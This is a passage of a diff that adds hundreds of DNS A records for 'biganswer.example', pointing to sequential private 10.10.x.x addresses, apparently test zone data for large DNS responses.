+biganswer.example.	3600	IN	A	10.10.15.9
+biganswer.example.	3600	IN	A	10.10.15.10
+biganswer.example.	3600	IN	A	10.10.15.11
+biganswer.example.	3600	IN	A	10.10.15.12
+biganswer.example.	3600	IN	A	10.10.15.13
+biganswer.example.	3600	IN	A	10.10.15.14
+biganswer.example.	3600	IN	A	10.10.15.15
+biganswer.example.	3600	IN	A	10.10.15.16
+biganswer.example.	3600	IN	A	10.10.15.17
+biganswer.example.	3600	IN	A	10.10.15.18
+biganswer.example.	3600	IN	A	10.10.15.19
+biganswer.example.	3600	IN	A	10.10.15.20
+biganswer.example.	3600	IN	A	10.10.15.21
+biganswer.example.	3600	IN	A	10.10.15.22
+biganswer.example.	3600	IN	A	10.10.15.23
+biganswer.example.	3600	IN	A	10.10.15.24
+biganswer.example.	3600	IN	A	10.10.15.25
+biganswer.example.	3600	IN	A	10.10.15.26
+biganswer.example.	3600	IN	A	10.10.15.27
+biganswer.example.	3600	IN	A	10.10.15.28
+biganswer.example.	3600	IN	A	10.10.15.29
+biganswer.example.	3600	IN	A	10.10.15.30
+biganswer.example.	3600	IN	A	10.10.15.31
+biganswer.example.	3600	IN	A	10.10.15.32
+biganswer.example.	3600	IN	A	10.10.15.33
+biganswer.example.	3600	IN	A	10.10.15.34
+biganswer.example.	3600	IN	A	10.10.15.35
+biganswer.example.	3600	IN	A	10.10.15.36
+biganswer.example.	3600	IN	A	10.10.15.37
+biganswer.example.	3600	IN	A	10.10.15.38
+biganswer.example.	3600	IN	A	10.10.15.39
+biganswer.example.	3600	IN	A	10.10.15.40
+biganswer.example.	3600	IN	A	10.10.15.41
+biganswer.example.	3600	IN	A	10.10.15.42
+biganswer.example.	3600	IN	A	10.10.15.43
+biganswer.example.	3600	IN	A	10.10.15.44
+biganswer.example.	3600	IN	A	10.10.15.45
+biganswer.example.	3600	IN	A	10.10.15.46
+biganswer.example.	3600	IN	A	10.10.15.47
+biganswer.example.	3600	IN	A	10.10.15.48
+biganswer.example.	3600	IN	A	10.10.15.49
+biganswer.example.	3600	IN	A	10.10.15.50
+biganswer.example.	3600	IN	A	10.10.16.1
+biganswer.example.	3600	IN	A	10.10.16.2
+biganswer.example.	3600	IN	A	10.10.16.3
+biganswer.example.	3600	IN	A	10.10.16.4
+biganswer.example.	3600	IN	A	10.10.16.5
+biganswer.example.	3600	IN	A	10.10.16.6
+biganswer.example.	3600	IN	A	10.10.16.7
+biganswer.example.	3600	IN	A	10.10.16.8
+biganswer.example.	3600	IN	A	10.10.16.9
+biganswer.example.	3600	IN	A	10.10.16.10
+biganswer.example.	3600	IN	A	10.10.16.11
+biganswer.example.	3600	IN	A	10.10.16.12
+biganswer.example.	3600	IN	A	10.10.16.13
+biganswer.example.	3600	IN	A	10.10.16.14
+biganswer.example.	3600	IN	A	10.10.16.15
+biganswer.example.	3600	IN	A	10.10.16.16
+biganswer.example.	3600	IN	A	10.10.16.17
+biganswer.example.	3600	IN	A	10.10.16.18
+biganswer.example.	3600	IN	A	10.10.16.19
+biganswer.example.	3600	IN	A	10.10.16.20
+biganswer.example.	3600	IN	A	10.10.16.21
+biganswer.example.	3600	IN	A	10.10.16.22
+biganswer.example.	3600	IN	A	10.10.16.23
+biganswer.example.	3600	IN	A	10.10.16.24
+biganswer.example.	3600	IN	A	10.10.16.25
+biganswer.example.	3600	IN	A	10.10.16.26
+biganswer.example.	3600	IN	A	10.10.16.27
+biganswer.example.	3600	IN	A	10.10.16.28
+biganswer.example.	3600	IN	A	10.10.16.29
+biganswer.example.	3600	IN	A	10.10.16.30
+biganswer.example.	3600	IN	A	10.10.16.31
+biganswer.example.	3600	IN	A	10.10.16.32
+biganswer.example.	3600	IN	A	10.10.16.33
+biganswer.example.	3600	IN	A	10.10.16.34
+biganswer.example.	3600	IN	A	10.10.16.35
+biganswer.example.	3600	IN	A	10.10.16.36
+biganswer.example.	3600	IN	A	10.10.16.37
+biganswer.example.	3600	IN	A	10.10.16.38
+biganswer.example.	3600	IN	A	10.10.16.39
+biganswer.example.	3600	IN	A	10.10.16.40
+biganswer.example.	3600	IN	A	10.10.16.41
+biganswer.example.	3600	IN	A	10.10.16.42
+biganswer.example.	3600	IN	A	10.10.16.43
+biganswer.example.	3600	IN	A	10.10.16.44
+biganswer.example.	3600	IN	A	10.10.16.45
+biganswer.example.	3600	IN	A	10.10.16.46
+biganswer.example.	3600	IN	A	10.10.16.47
+biganswer.example.	3600	IN	A	10.10.16.48
+biganswer.example.	3600	IN	A	10.10.16.49
+biganswer.example.	3600	IN	A	10.10.16.50
+biganswer.example.	3600	IN	A	10.10.17.1
+biganswer.example.	3600	IN	A	10.10.17.2
+biganswer.example.	3600	IN	A	10.10.17.3
+biganswer.example.	3600	IN	A	10.10.17.4
+biganswer.example.	3600	IN	A	10.10.17.5
+biganswer.example.	3600	IN	A	10.10.17.6
+biganswer.example.	3600	IN	A	10.10.17.7
+biganswer.example.	3600	IN	A	10.10.17.8
+biganswer.example.	3600	IN	A	10.10.17.9
+biganswer.example.	3600	IN	A	10.10.17.10
+biganswer.example.	3600	IN	A	10.10.17.11
+biganswer.example.	3600	IN	A	10.10.17.12
+biganswer.example.	3600	IN	A	10.10.17.13
+biganswer.example.	3600	IN	A	10.10.17.14
+biganswer.example.	3600	IN	A	10.10.17.15
+biganswer.example.	3600	IN	A	10.10.17.16
+biganswer.example.	3600	IN	A	10.10.17.17
+biganswer.example.	3600	IN	A	10.10.17.18
+biganswer.example.	3600	IN	A	10.10.17.19
+biganswer.example.	3600	IN	A	10.10.17.20
+biganswer.example.	3600	IN	A	10.10.17.21
+biganswer.example.	3600	IN	A	10.10.17.22
+biganswer.example.	3600	IN	A	10.10.17.23
+biganswer.example.	3600	IN	A	10.10.17.24
+biganswer.example.	3600	IN	A	10.10.17.25
+biganswer.example.	3600	IN	A	10.10.17.26
+biganswer.example.	3600	IN	A	10.10.17.27
+biganswer.example.	3600	IN	A	10.10.17.28
+biganswer.example.	3600	IN	A	10.10.17.29
+biganswer.example.	3600	IN	A	10.10.17.30
+biganswer.example.	3600	IN	A	10.10.17.31
+biganswer.example.	3600	IN	A	10.10.17.32
+biganswer.example.	3600	IN	A	10.10.17.33
+biganswer.example.	3600	IN	A	10.10.17.34
+biganswer.example.	3600	IN	A	10.10.17.35
+biganswer.example.	3600	IN	A	10.10.17.36
+biganswer.example.	3600	IN	A	10.10.17.37
+biganswer.example.	3600	IN	A	10.10.17.38
+biganswer.example.	3600	IN	A	10.10.17.39
+biganswer.example.	3600	IN	A	10.10.17.40
+biganswer.example.	3600	IN	A	10.10.17.41
+biganswer.example.	3600	IN	A	10.10.17.42
+biganswer.example.	3600	IN	A	10.10.17.43
+biganswer.example.	3600	IN	A	10.10.17.44
+biganswer.example.	3600	IN	A	10.10.17.45
+biganswer.example.	3600	IN	A	10.10.17.46
+biganswer.example.	3600	IN	A	10.10.17.47
+biganswer.example.	3600	IN	A	10.10.17.48
+biganswer.example.	3600	IN	A	10.10.17.49
+biganswer.example.	3600	IN	A	10.10.17.50
+biganswer.example.	3600	IN	A	10.10.18.1
+biganswer.example.	3600	IN	A	10.10.18.2
+biganswer.example.	3600	IN	A	10.10.18.3
+biganswer.example.	3600	IN	A	10.10.18.4
+biganswer.example.	3600	IN	A	10.10.18.5
+biganswer.example.	3600	IN	A	10.10.18.6
+biganswer.example.	3600	IN	A	10.10.18.7
+biganswer.example.	3600	IN	A	10.10.18.8
+biganswer.example.	3600	IN	A	10.10.18.9
+biganswer.example.	3600	IN	A	10.10.18.10
+biganswer.example.	3600	IN	A	10.10.18.11
+biganswer.example.	3600	IN	A	10.10.18.12
+biganswer.example.	3600	IN	A	10.10.18.13
+biganswer.example.	3600	IN	A	10.10.18.14
+biganswer.example.	3600	IN	A	10.10.18.15
+biganswer.example.	3600	IN	A	10.10.18.16
+biganswer.example.	3600	IN	A	10.10.18.17
+biganswer.example.	3600	IN	A	10.10.18.18
+biganswer.example.	3600	IN	A	10.10.18.19
+biganswer.example.	3600	IN	A	10.10.18.20
+biganswer.example.	3600	IN	A	10.10.18.21
+biganswer.example.	3600	IN	A	10.10.18.22
+biganswer.example.	3600	IN	A	10.10.18.23
+biganswer.example.	3600	IN	A	10.10.18.24
+biganswer.example.	3600	IN	A	10.10.18.25
+biganswer.example.	3600	IN	A	10.10.18.26
+biganswer.example.	3600	IN	A	10.10.18.27
+biganswer.example.	3600	IN	A	10.10.18.28
+biganswer.example.	3600	IN	A	10.10.18.29
+biganswer.example.	3600	IN	A	10.10.18.30
+biganswer.example.	3600	IN	A	10.10.18.31
+biganswer.example.	3600	IN	A	10.10.18.32
+biganswer.example.	3600	IN	A	10.10.18.33
+biganswer.example.	3600	IN	A	10.10.18.34
+biganswer.example.	3600	IN	A	10.10.18.35
+biganswer.example.	3600	IN	A	10.10.18.36
+biganswer.example.	3600	IN	A	10.10.18.37
+biganswer.example.	3600	IN	A	10.10.18.38
+biganswer.example.	3600	IN	A	10.10.18.39
+biganswer.example.	3600	IN	A	10.10.18.40
+biganswer.example.	3600	IN	A	10.10.18.41
+biganswer.example.	3600	IN	A	10.10.18.42
+biganswer.example.	3600	IN	A	10.10.18.43
+biganswer.example.	3600	IN	A	10.10.18.44
+biganswer.example.	3600	IN	A	10.10.18.45
+biganswer.example.	3600	IN	A	10.10.18.46
+biganswer.example.	3600	IN	A	10.10.18.47
+biganswer.example.	3600	IN	A	10.10.18.48
+biganswer.example.	3600	IN	A	10.10.18.49
+biganswer.example.	3600	IN	A	10.10.18.50
+biganswer.example.	3600	IN	A	10.10.19.1
+biganswer.example.	3600	IN	A	10.10.19.2
+biganswer.example.	3600	IN	A	10.10.19.3
+biganswer.example.	3600	IN	A	10.10.19.4
+biganswer.example.	3600	IN	A	10.10.19.5
+biganswer.example.	3600	IN	A	10.10.19.6
+biganswer.example.	3600	IN	A	10.10.19.7
+biganswer.example.	3600	IN	A	10.10.19.8
+biganswer.example.	3600	IN	A	10.10.19.9
+biganswer.example.	3600	IN	A	10.10.19.10
+biganswer.example.	3600	IN	A	10.10.19.11
+biganswer.example.	3600	IN	A	10.10.19.12
+biganswer.example.	3600	IN	A	10.10.19.13
+biganswer.example.	3600	IN	A	10.10.19.14
+biganswer.example.	3600	IN	A	10.10.19.15
+biganswer.example.	3600	IN	A	10.10.19.16
+biganswer.example.	3600	IN	A	10.10.19.17
+biganswer.example.	3600	IN	A	10.10.19.18
+biganswer.example.	3600	IN	A	10.10.19.19
+biganswer.example.	3600	IN	A	10.10.19.20
+biganswer.example.	3600	IN	A	10.10.19.21
+biganswer.example.	3600	IN	A	10.10.19.22
+biganswer.example.	3600	IN	A	10.10.19.23
+biganswer.example.	3600	IN	A	10.10.19.24
+biganswer.example.	3600	IN	A	10.10.19.25
+biganswer.example.	3600	IN	A	10.10.19.26
+biganswer.example.	3600	IN	A	10.10.19.27
+biganswer.example.	3600	IN	A	10.10.19.28
+biganswer.example.	3600	IN	A	10.10.19.29
+biganswer.example.	3600	IN	A	10.10.19.30
+biganswer.example.	3600	IN	A	10.10.19.31
+biganswer.example.	3600	IN	A	10.10.19.32
+biganswer.example.	3600	IN	A	10.10.19.33
+biganswer.example.	3600	IN	A	10.10.19.34
+biganswer.example.	3600	IN	A	10.10.19.35
+biganswer.example.	3600	IN	A	10.10.19.36
+biganswer.example.	3600	IN	A	10.10.19.37
+biganswer.example.	3600	IN	A	10.10.19.38
+biganswer.example.	3600	IN	A	10.10.19.39
+biganswer.example.	3600	IN	A	10.10.19.40
+biganswer.example.	3600	IN	A	10.10.19.41
+biganswer.example.	3600	IN	A	10.10.19.42
+biganswer.example.	3600	IN	A	10.10.19.43
+biganswer.example.	3600	IN	A	10.10.19.44
+biganswer.example.	3600	IN	A	10.10.19.45
+biganswer.example.	3600	IN	A	10.10.19.46
+biganswer.example.	3600	IN	A	10.10.19.47
+biganswer.example.	3600	IN	A	10.10.19.48
+biganswer.example.	3600	IN	A	10.10.19.49
+biganswer.example.	3600	IN	A	10.10.19.50
+biganswer.example.	3600	IN	A	10.10.20.1
+biganswer.example.	3600	IN	A	10.10.20.2
+biganswer.example.	3600	IN	A	10.10.20.3
+biganswer.example.	3600	IN	A	10.10.20.4
+biganswer.example.	3600	IN	A	10.10.20.5
+biganswer.example.	3600	IN	A	10.10.20.6
+biganswer.example.	3600	IN	A	10.10.20.7
+biganswer.example.	3600	IN	A	10.10.20.8
+biganswer.example.	3600	IN	A	10.10.20.9
+biganswer.example.	3600	IN	A	10.10.20.10
+biganswer.example.	3600	IN	A	10.10.20.11
+biganswer.example.	3600	IN	A	10.10.20.12
+biganswer.example.	3600	IN	A	10.10.20.13
+biganswer.example.	3600	IN	A	10.10.20.14
+biganswer.example.	3600	IN	A	10.10.20.15
+biganswer.example.	3600	IN	A	10.10.20.16
+biganswer.example.	3600	IN	A	10.10.20.17
+biganswer.example.	3600	IN	A	10.10.20.18
+biganswer.example.	3600	IN	A	10.10.20.19
+biganswer.example.	3600	IN	A	10.10.20.20
+biganswer.example.	3600	IN	A	10.10.20.21
+biganswer.example.	3600	IN	A	10.10.20.22
+biganswer.example.	3600	IN	A	10.10.20.23
+biganswer.example.	3600	IN	A	10.10.20.24
+biganswer.example.	3600	IN	A	10.10.20.25
+biganswer.example.	3600	IN	A	10.10.20.26
+biganswer.example.	3600	IN	A	10.10.20.27
+biganswer.example.	3600	IN	A	10.10.20.28
+biganswer.example.	3600	IN	A	10.10.20.29
+biganswer.example.	3600	IN	A	10.10.20.30
+biganswer.example.	3600	IN	A	10.10.20.31
+biganswer.example.	3600	IN	A	10.10.20.32
+biganswer.example.	3600	IN	A	10.10.20.33
+biganswer.example.	3600	IN	A	10.10.20.34
+biganswer.example.	3600	IN	A	10.10.20.35
+biganswer.example.	3600	IN	A	10.10.20.36
+biganswer.example.	3600	IN	A	10.10.20.37
+biganswer.example.	3600	IN	A	10.10.20.38
+biganswer.example.	3600	IN	A	10.10.20.39
+biganswer.example.	3600	IN	A	10.10.20.40
+biganswer.example.	3600	IN	A	10.10.20.41
+biganswer.example.	3600	IN	A	10.10.20.42
+biganswer.example.	3600	IN	A	10.10.20.43
+biganswer.example.	3600	IN	A	10.10.20.44
+biganswer.example.	3600	IN	A	10.10.20.45
+biganswer.example.	3600	IN	A	10.10.20.46
+biganswer.example.	3600	IN	A	10.10.20.47
+biganswer.example.	3600	IN	A	10.10.20.48
+biganswer.example.	3600	IN	A	10.10.20.49
+biganswer.example.	3600	IN	A	10.10.20.50
+biganswer.example.	3600	IN	A	10.10.21.1
+biganswer.example.	3600	IN	A	10.10.21.2
+biganswer.example.	3600	IN	A	10.10.21.3
+biganswer.example.	3600	IN	A	10.10.21.4
+biganswer.example.	3600	IN	A	10.10.21.5
+biganswer.example.	3600	IN	A	10.10.21.6
+biganswer.example.	3600	IN	A	10.10.21.7
+biganswer.example.	3600	IN	A	10.10.21.8
+biganswer.example.	3600	IN	A	10.10.21.9
+biganswer.example.	3600	IN	A	10.10.21.10
+biganswer.example.	3600	IN	A	10.10.21.11
+biganswer.example.	3600	IN	A	10.10.21.12
+biganswer.example.	3600	IN	A	10.10.21.13
+biganswer.example.	3600	IN	A	10.10.21.14
+biganswer.example.	3600	IN	A	10.10.21.15
+biganswer.example.	3600	IN	A	10.10.21.16
+biganswer.example.	3600	IN	A	10.10.21.17
+biganswer.example.	3600	IN	A	10.10.21.18
+biganswer.example.	3600	IN	A	10.10.21.19
+biganswer.example.	3600	IN	A	10.10.21.20
+biganswer.example.	3600	IN	A	10.10.21.21
+biganswer.example.	3600	IN	A	10.10.21.22
+biganswer.example.	3600	IN	A	10.10.21.23
+biganswer.example.	3600	IN	A	10.10.21.24
+biganswer.example.	3600	IN	A	10.10.21.25
+biganswer.example.	3600	IN	A	10.10.21.26
+biganswer.example.	3600	IN	A	10.10.21.27
+biganswer.example.	3600	IN	A	10.10.21.28
+biganswer.example.	3600	IN	A	10.10.21.29
+biganswer.example.	3600	IN	A	10.10.21.30
+biganswer.example.	3600	IN	A	10.10.21.31
+biganswer.example.	3600	IN	A	10.10.21.32
+biganswer.example.	3600	IN	A	10.10.21.33
+biganswer.example.	3600	IN	A	10.10.21.34
+biganswer.example.	3600	IN	A	10.10.21.35
+biganswer.example.	3600	IN	A	10.10.21.36
+biganswer.example.	3600	IN	A	10.10.21.37
+biganswer.example.	3600	IN	A	10.10.21.38
+biganswer.example.	3600	IN	A	10.10.21.39
+biganswer.example.	3600	IN	A	10.10.21.40
+biganswer.example.	3600	IN	A	10.10.21.41
+biganswer.example.	3600	IN	A	10.10.21.42
+biganswer.example.	3600	IN	A	10.10.21.43
+biganswer.example.	3600	IN	A	10.10.21.44
+biganswer.example.	3600	IN	A	10.10.21.45
+biganswer.example.	3600	IN	A	10.10.21.46
+biganswer.example.	3600	IN	A	10.10.21.47
+biganswer.example.	3600	IN	A	10.10.21.48
+biganswer.example.	3600	IN	A	10.10.21.49
+biganswer.example.	3600	IN	A	10.10.21.50
+biganswer.example.	3600	IN	A	10.10.22.1
+biganswer.example.	3600	IN	A	10.10.22.2
+biganswer.example.	3600	IN	A	10.10.22.3
+biganswer.example.	3600	IN	A	10.10.22.4
+biganswer.example.	3600	IN	A	10.10.22.5
+biganswer.example.	3600	IN	A	10.10.22.6
+biganswer.example.	3600	IN	A	10.10.22.7
+biganswer.example.	3600	IN	A	10.10.22.8
+biganswer.example.	3600	IN	A	10.10.22.9
+biganswer.example.	3600	IN	A	10.10.22.10
+biganswer.example.	3600	IN	A	10.10.22.11
+biganswer.example.	3600	IN	A	10.10.22.12
+biganswer.example.	3600	IN	A	10.10.22.13
+biganswer.example.	3600	IN	A	10.10.22.14
+biganswer.example.	3600	IN	A	10.10.22.15
+biganswer.example.	3600	IN	A	10.10.22.16
+biganswer.example.	3600	IN	A	10.10.22.17
+biganswer.example.	3600	IN	A	10.10.22.18
+biganswer.example.	3600	IN	A	10.10.22.19
+biganswer.example.	3600	IN	A	10.10.22.20
+biganswer.example.	3600	IN	A	10.10.22.21
+biganswer.example.	3600	IN	A	10.10.22.22
+biganswer.example.	3600	IN	A	10.10.22.23
+biganswer.example.	3600	IN	A	10.10.22.24
+biganswer.example.	3600	IN	A	10.10.22.25
+biganswer.example.	3600	IN	A	10.10.22.26
+biganswer.example.	3600	IN	A	10.10.22.27
+biganswer.example.	3600	IN	A	10.10.22.28
+biganswer.example.	3600	IN	A	10.10.22.29
+biganswer.example.	3600	IN	A	10.10.22.30
+biganswer.example.	3600	IN	A	10.10.22.31
+biganswer.example.	3600	IN	A	10.10.22.32
+biganswer.example.	3600	IN	A	10.10.22.33
+biganswer.example.	3600	IN	A	10.10.22.34
+biganswer.example.	3600	IN	A	10.10.22.35
+biganswer.example.	3600	IN	A	10.10.22.36
+biganswer.example.	3600	IN	A	10.10.22.37
+biganswer.example.	3600	IN	A	10.10.22.38
+biganswer.example.	3600	IN	A	10.10.22.39
+biganswer.example.	3600	IN	A	10.10.22.40
+biganswer.example.	3600	IN	A	10.10.22.41
+biganswer.example.	3600	IN	A	10.10.22.42
+biganswer.example.	3600	IN	A	10.10.22.43
+biganswer.example.	3600	IN	A	10.10.22.44
+biganswer.example.	3600	IN	A	10.10.22.45
+biganswer.example.	3600	IN	A	10.10.22.46
+biganswer.example.	3600	IN	A	10.10.22.47
+biganswer.example.	3600	IN	A	10.10.22.48
+biganswer.example.	3600	IN	A	10.10.22.49
+biganswer.example.	3600	IN	A	10.10.22.50
+biganswer.example.	3600	IN	A	10.10.23.1
+biganswer.example.	3600	IN	A	10.10.23.2
+biganswer.example.	3600	IN	A	10.10.23.3
+biganswer.example.	3600	IN	A	10.10.23.4
+biganswer.example.	3600	IN	A	10.10.23.5
+biganswer.example.	3600	IN	A	10.10.23.6
+biganswer.example.	3600	IN	A	10.10.23.7
+biganswer.example.	3600	IN	A	10.10.23.8
+biganswer.example.	3600	IN	A	10.10.23.9
+biganswer.example.	3600	IN	A	10.10.23.10
+biganswer.example.	3600	IN	A	10.10.23.11
+biganswer.example.	3600	IN	A	10.10.23.12
+biganswer.example.	3600	IN	A	10.10.23.13
+biganswer.example.	3600	IN	A	10.10.23.14
+biganswer.example.	3600	IN	A	10.10.23.15
+biganswer.example.	3600	IN	A	10.10.23.16
+biganswer.example.	3600	IN	A	10.10.23.17
+biganswer.example.	3600	IN	A	10.10.23.18
+biganswer.example.	3600	IN	A	10.10.23.19
+biganswer.example.	3600	IN	A	10.10.23.20
+biganswer.example.	3600	IN	A	10.10.23.21
+biganswer.example.	3600	IN	A	10.10.23.22
+biganswer.example.	3600	IN	A	10.10.23.23
+biganswer.example.	3600	IN	A	10.10.23.24
+biganswer.example.	3600	IN	A	10.10.23.25
+biganswer.example.	3600	IN	A	10.10.23.26
+biganswer.example.	3600	IN	A	10.10.23.27
+biganswer.example.	3600	IN	A	10.10.23.28
+biganswer.example.	3600	IN	A	10.10.23.29
+biganswer.example.	3600	IN	A	10.10.23.30
+biganswer.example.	3600	IN	A	10.10.23.31
+biganswer.example.	3600	IN	A	10.10.23.32
+biganswer.example.	3600	IN	A	10.10.23.33
+biganswer.example.	3600	IN	A	10.10.23.34
+biganswer.example.	3600	IN	A	10.10.23.35
+biganswer.example.	3600	IN	A	10.10.23.36
+biganswer.example.	3600	IN	A	10.10.23.37
+biganswer.example.	3600	IN	A	10.10.23.38
+biganswer.example.	3600	IN	A	10.10.23.39
+biganswer.example.	3600	IN	A	10.10.23.40
+biganswer.example.	3600	IN	A	10.10.23.41
+biganswer.example.	3600	IN	A	10.10.23.42
+biganswer.example.	3600	IN	A	10.10.23.43
+biganswer.example.	3600	IN	A	10.10.23.44
+biganswer.example.	3600	IN	A	10.10.23.45
+biganswer.example.	3600	IN	A	10.10.23.46
+biganswer.example.	3600	IN	A	10.10.23.47
+biganswer.example.	3600	IN	A	10.10.23.48
+biganswer.example.	3600	IN	A	10.10.23.49
+biganswer.example.	3600	IN	A	10.10.23.50
+biganswer.example.	3600	IN	A	10.10.24.1
+biganswer.example.	3600	IN	A	10.10.24.2
+biganswer.example.	3600	IN	A	10.10.24.3
+biganswer.example.	3600	IN	A	10.10.24.4
+biganswer.example.	3600	IN	A	10.10.24.5
+biganswer.example.	3600	IN	A	10.10.24.6
+biganswer.example.	3600	IN	A	10.10.24.7
+biganswer.example.	3600	IN	A	10.10.24.8
+biganswer.example.	3600	IN	A	10.10.24.9
+biganswer.example.	3600	IN	A	10.10.24.10
+biganswer.example.	3600	IN	A	10.10.24.11
+biganswer.example.	3600	IN	A	10.10.24.12
+biganswer.example.	3600	IN	A	10.10.24.13
+biganswer.example.	3600	IN	A	10.10.24.14
+biganswer.example.	3600	IN	A	10.10.24.15
+biganswer.example.	3600	IN	A	10.10.24.16
+biganswer.example.	3600	IN	A	10.10.24.17
+biganswer.example.	3600	IN	A	10.10.24.18
+biganswer.example.	3600	IN	A	10.10.24.19
+biganswer.example.	3600	IN	A	10.10.24.20
+biganswer.example.	3600	IN	A	10.10.24.21
+biganswer.example.	3600	IN	A	10.10.24.22
+biganswer.example.	3600	IN	A	10.10.24.23
+biganswer.example.	3600	IN	A	10.10.24.24
+biganswer.example.	3600	IN	A	10.10.24.25
+biganswer.example.	3600	IN	A	10.10.24.26
+biganswer.example.	3600	IN	A	10.10.24.27
+biganswer.example.	3600	IN	A	10.10.24.28
+biganswer.example.	3600	IN	A	10.10.24.29
+biganswer.example.	3600	IN	A	10.10.24.30
+biganswer.example.	3600	IN	A	10.10.24.31
+biganswer.example.	3600	IN	A	10.10.24.32
+biganswer.example.	3600	IN	A	10.10.24.33
+biganswer.example.	3600	IN	A	10.10.24.34
+biganswer.example.	3600	IN	A	10.10.24.35
+biganswer.example.	3600	IN	A	10.10.24.36
+biganswer.example.	3600	IN	A	10.10.24.37
+biganswer.example.	3600	IN	A	10.10.24.38
+biganswer.example.	3600	IN	A	10.10.24.39
+biganswer.example.	3600	IN	A	10.10.24.40
+biganswer.example.	3600	IN	A	10.10.24.41
+biganswer.example.	3600	IN	A	10.10.24.42
+biganswer.example.	3600	IN	A	10.10.24.43
+biganswer.example.	3600	IN	A	10.10.24.44
+biganswer.example.	3600	IN	A	10.10.24.45
+biganswer.example.	3600	IN	A	10.10.24.46
+biganswer.example.	3600	IN	A	10.10.24.47
+biganswer.example.	3600	IN	A	10.10.24.48
+biganswer.example.	3600	IN	A	10.10.24.49
+biganswer.example.	3600	IN	A	10.10.24.50
+biganswer.example.	3600	IN	A	10.10.25.1
+biganswer.example.	3600	IN	A	10.10.25.2
+biganswer.example.	3600	IN	A	10.10.25.3
+biganswer.example.	3600	IN	A	10.10.25.4
+biganswer.example.	3600	IN	A	10.10.25.5
+biganswer.example.	3600	IN	A	10.10.25.6
+biganswer.example.	3600	IN	A	10.10.25.7
+biganswer.example.	3600	IN	A	10.10.25.8
+biganswer.example.	3600	IN	A	10.10.25.9
+biganswer.example.	3600	IN	A	10.10.25.10
+biganswer.example.	3600	IN	A	10.10.25.11
+biganswer.example.	3600	IN	A	10.10.25.12
+biganswer.example.	3600	IN	A	10.10.25.13
+biganswer.example.	3600	IN	A	10.10.25.14
+biganswer.example.	3600	IN	A	10.10.25.15
+biganswer.example.	3600	IN	A	10.10.25.16
+biganswer.example.	3600	IN	A	10.10.25.17
+biganswer.example.	3600	IN	A	10.10.25.18
+biganswer.example.	3600	IN	A	10.10.25.19
+biganswer.example.	3600	IN	A	10.10.25.20
+biganswer.example.	3600	IN	A	10.10.25.21
+biganswer.example.	3600	IN	A	10.10.25.22
+biganswer.example.	3600	IN	A	10.10.25.23
+biganswer.example.	3600	IN	A	10.10.25.24
+biganswer.example.	3600	IN	A	10.10.25.25
+biganswer.example.	3600	IN	A	10.10.25.26
+biganswer.example.	3600	IN	A	10.10.25.27
+biganswer.example.	3600	IN	A	10.10.25.28
+biganswer.example.	3600	IN	A	10.10.25.29
+biganswer.example.	3600	IN	A	10.10.25.30
+biganswer.example.	3600	IN	A	10.10.25.31
+biganswer.example.	3600	IN	A	10.10.25.32
+biganswer.example.	3600	IN	A	10.10.25.33
+biganswer.example.	3600	IN	A	10.10.25.34
+biganswer.example.	3600	IN	A	10.10.25.35
+biganswer.example.	3600	IN	A	10.10.25.36
+biganswer.example.	3600	IN	A	10.10.25.37
+biganswer.example.	3600	IN	A	10.10.25.38
+biganswer.example.	3600	IN	A	10.10.25.39
+biganswer.example.	3600	IN	A	10.10.25.40
+biganswer.example.	3600	IN	A	10.10.25.41
+biganswer.example.	3600	IN	A	10.10.25.42
+biganswer.example.	3600	IN	A	10.10.25.43
+biganswer.example.	3600	IN	A	10.10.25.44
+biganswer.example.	3600	IN	A	10.10.25.45
+biganswer.example.	3600	IN	A	10.10.25.46
+biganswer.example.	3600	IN	A	10.10.25.47
+biganswer.example.	3600	IN	A	10.10.25.48
+biganswer.example.	3600	IN	A	10.10.25.49
+biganswer.example.	3600	IN	A	10.10.25.50
+biganswer.example.	3600	IN	A	10.10.26.1
+biganswer.example.	3600	IN	A	10.10.26.2
+biganswer.example.	3600	IN	A	10.10.26.3
+biganswer.example.	3600	IN	A	10.10.26.4
+biganswer.example.	3600	IN	A	10.10.26.5
+biganswer.example.	3600	IN	A	10.10.26.6
+biganswer.example.	3600	IN	A	10.10.26.7
+biganswer.example.	3600	IN	A	10.10.26.8
+biganswer.example.	3600	IN	A	10.10.26.9
+biganswer.example.	3600	IN	A	10.10.26.10
+biganswer.example.	3600	IN	A	10.10.26.11
+biganswer.example.	3600	IN	A	10.10.26.12
+biganswer.example.	3600	IN	A	10.10.26.13
+biganswer.example.	3600	IN	A	10.10.26.14
+biganswer.example.	3600	IN	A	10.10.26.15
+biganswer.example.	3600	IN	A	10.10.26.16
+biganswer.example.	3600	IN	A	10.10.26.17
+biganswer.example.	3600	IN	A	10.10.26.18
+biganswer.example.	3600	IN	A	10.10.26.19
+biganswer.example.	3600	IN	A	10.10.26.20
+biganswer.example.	3600	IN	A	10.10.26.21
+biganswer.example.	3600	IN	A	10.10.26.22
+biganswer.example.	3600	IN	A	10.10.26.23
+biganswer.example.	3600	IN	A	10.10.26.24
+biganswer.example.	3600	IN	A	10.10.26.25
+biganswer.example.	3600	IN	A	10.10.26.26
+biganswer.example.	3600	IN	A	10.10.26.27
+biganswer.example.	3600	IN	A	10.10.26.28
+biganswer.example.	3600	IN	A	10.10.26.29
+biganswer.example.	3600	IN	A	10.10.26.30
+biganswer.example.	3600	IN	A	10.10.26.31
+biganswer.example.	3600	IN	A	10.10.26.32
+biganswer.example.	3600	IN	A	10.10.26.33
+biganswer.example.	3600	IN	A	10.10.26.34
+biganswer.example.	3600	IN	A	10.10.26.35
+biganswer.example.	3600	IN	A	10.10.26.36
+biganswer.example.	3600	IN	A	10.10.26.37
+biganswer.example.	3600	IN	A	10.10.26.38
+biganswer.example.	3600	IN	A	10.10.26.39
+biganswer.example.	3600	IN	A	10.10.26.40
+biganswer.example.	3600	IN	A	10.10.26.41
+biganswer.example.	3600	IN	A	10.10.26.42
+biganswer.example.	3600	IN	A	10.10.26.43
+biganswer.example.	3600	IN	A	10.10.26.44
+biganswer.example.	3600	IN	A	10.10.26.45
+biganswer.example.	3600	IN	A	10.10.26.46
+biganswer.example.	3600	IN	A	10.10.26.47
+biganswer.example.	3600	IN	A	10.10.26.48
+biganswer.example.	3600	IN	A	10.10.26.49
+biganswer.example.	3600	IN	A	10.10.26.50
+biganswer.example.	3600	IN	A	10.10.27.1
+biganswer.example.	3600	IN	A	10.10.27.2
+biganswer.example.	3600	IN	A	10.10.27.3
+biganswer.example.	3600	IN	A	10.10.27.4
+biganswer.example.	3600	IN	A	10.10.27.5
+biganswer.example.	3600	IN	A	10.10.27.6
+biganswer.example.	3600	IN	A	10.10.27.7
+biganswer.example.	3600	IN	A	10.10.27.8
